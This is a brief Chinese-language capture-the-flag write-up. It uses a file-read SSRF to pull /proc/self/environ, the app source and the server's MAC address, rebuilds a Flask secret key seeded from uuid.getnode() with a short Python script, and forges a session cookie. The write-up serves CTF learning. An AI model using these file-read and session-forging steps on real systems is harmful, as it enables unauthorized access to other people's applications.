前言
关键字:[flask|uuid.getnode|网卡|MAC|session]
题解
感觉像是SSRF
file提示直接hack
dict和gopher没提示
可以读取文件
读取/proc/self/environ
读/app/app.py
看来需要构造session
构造session需要拿到key,而key是由随机生成的,那接下来的问题就是如何拿到随机种子。
而uuid.getnode()
获取的是网卡MAC地址的十进制数,需要读取/sys/class/net/eth0/address
02:42:ac:10:b8:1e
转换成十进制数,6*8=48bit
import random
mac = "02:42:ac:10:b9:08"
temp = mac.split(':')
temp = [int(i, 16) for i in temp]
temp = [bin(i).replace('0b', '').zfill(8) for i in temp]
temp = ''.join(temp)
mac = int(temp, 2)
random.seed(mac)
randStr = str(random.random() * 233)
print(randStr)
生成key为147.922415852
用flask-session-cookie-manager构造下session,结束。